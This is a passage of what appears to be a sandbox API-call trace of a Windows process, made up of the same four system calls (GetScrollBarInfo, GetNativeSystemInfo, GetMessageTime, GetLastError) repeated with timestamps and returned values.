hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.994] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.994] GetMessageTime () returned 0 [0028.994] GetLastError () returned 0x578 [0028.994] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.994] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.994] GetMessageTime () returned 0 [0028.994] GetLastError () returned 0x578 [0028.994] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.994] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.994] GetMessageTime () returned 0 [0028.994] GetLastError () returned 0x578 [0028.994] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.994] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.994] GetMessageTime () returned 0 [0028.994] GetLastError () returned 0x578 [0028.994] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.994] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.994] GetMessageTime () returned 0 [0028.994] GetLastError () returned 0x578 [0028.994] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.994] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.994] GetMessageTime () returned 0 [0028.994] GetLastError () returned 0x578 [0028.995] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.995] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.995] GetMessageTime () returned 0 [0028.995] GetLastError () returned 0x578 [0028.995] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.995] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.995] GetMessageTime () returned 0 [0028.995] GetLastError () returned 0x578 [0028.995] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.995] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.995] GetMessageTime () returned 0 [0028.995] GetLastError () returned 0x578 [0028.995] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.995] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.995] GetMessageTime () returned 0 [0028.995] GetLastError () returned 0x578 [0028.995] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.995] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.995] GetMessageTime () returned 0 [0028.995] GetLastError () returned 0x578 [0028.995] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.995] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.995] GetMessageTime () returned 0 [0028.996] GetLastError () returned 0x578 [0028.996] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.996] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.996] GetMessageTime () returned 0 [0028.996] GetLastError () returned 0x578 [0028.996] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.996] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.996] GetMessageTime () returned 0 [0028.996] GetLastError () returned 0x578 [0028.996] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.996] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.996] GetMessageTime () returned 0 [0028.996] GetLastError () returned 0x578 [0028.996] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.996] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.996] GetMessageTime () returned 0 [0028.996] GetLastError () returned 0x578 [0028.996] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.996] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.996] GetMessageTime () returned 0 [0028.996] GetLastError () returned 0x578 [0028.996] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.996] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.996] GetMessageTime () returned 0 [0028.997] GetLastError () returned 0x578 [0028.997] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.997] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.997] GetMessageTime () returned 0 [0028.997] GetLastError () returned 0x578 [0028.997] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.997] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.997] GetMessageTime () returned 0 [0028.997] GetLastError () returned 0x578 [0028.997] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.997] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.997] GetMessageTime () returned 0 [0028.997] GetLastError () returned 0x578 [0028.997] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.997] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.997] GetMessageTime () returned 0 [0028.997] GetLastError () returned 0x578 [0028.997] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.997] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.997] GetMessageTime () returned 0 [0028.997] GetLastError () returned 0x578 [0028.997] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.997] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.997] GetMessageTime () returned 0 [0028.998] GetLastError () returned 0x578 [0028.998] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.998] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.998] GetMessageTime () returned 0 [0028.998] GetLastError () returned 0x578 [0028.998] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.998] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.998] GetMessageTime () returned 0 [0028.998] GetLastError () returned 0x578 [0028.998] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.998] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.998] GetMessageTime () returned 0 [0028.998] GetLastError () returned 0x578 [0028.998] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.998] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.998] GetMessageTime () returned 0 [0028.998] GetLastError () returned 0x578 [0028.998] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.998] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.998] GetMessageTime () returned 0 [0028.998] GetLastError () returned 0x578 [0028.998] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.998] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.998] GetMessageTime () returned 0 [0028.999] GetLastError () returned 0x578 [0028.999] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.999] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.999] GetMessageTime () returned 0 [0028.999] GetLastError () returned 0x578 [0028.999] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.999] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.999] GetMessageTime () returned 0 [0028.999] GetLastError () returned 0x578 [0028.999] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.999] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.999] GetMessageTime () returned 0 [0028.999] GetLastError () returned 0x578 [0028.999] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.999] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.999] GetMessageTime () returned 0 [0028.999] GetLastError () returned 0x578 [0028.999] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.999] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.999] GetMessageTime () returned 0 [0028.999] GetLastError () returned 0x578 [0028.999] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.999] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.000] GetMessageTime () returned 0 [0029.000] GetLastError () returned 0x578 [0029.000] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.000] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.000] GetMessageTime () returned 0 [0029.000] GetLastError () returned 0x578 [0029.000] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.000] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.000] GetMessageTime () returned 0 [0029.000] GetLastError () returned 0x578 [0029.000] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.000] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.000] GetMessageTime () returned 0 [0029.000] GetLastError () returned 0x578 [0029.000] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.000] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.000] GetMessageTime () returned 0 [0029.000] GetLastError () returned 0x578 [0029.000] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.000] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.000] GetMessageTime () returned 0 [0029.000] GetLastError () returned 0x578 [0029.000] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.000] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.001] GetMessageTime () returned 0 [0029.001] GetLastError () returned 0x578 [0029.001] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.001] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.001] GetMessageTime () returned 0 [0029.001] GetLastError () returned 0x578 [0029.001] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.001] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.001] GetMessageTime () returned 0 [0029.001] GetLastError () returned 0x578 [0029.001] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.001] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.001] GetMessageTime () returned 0 [0029.001] GetLastError () returned 0x578 [0029.001] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.001] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, 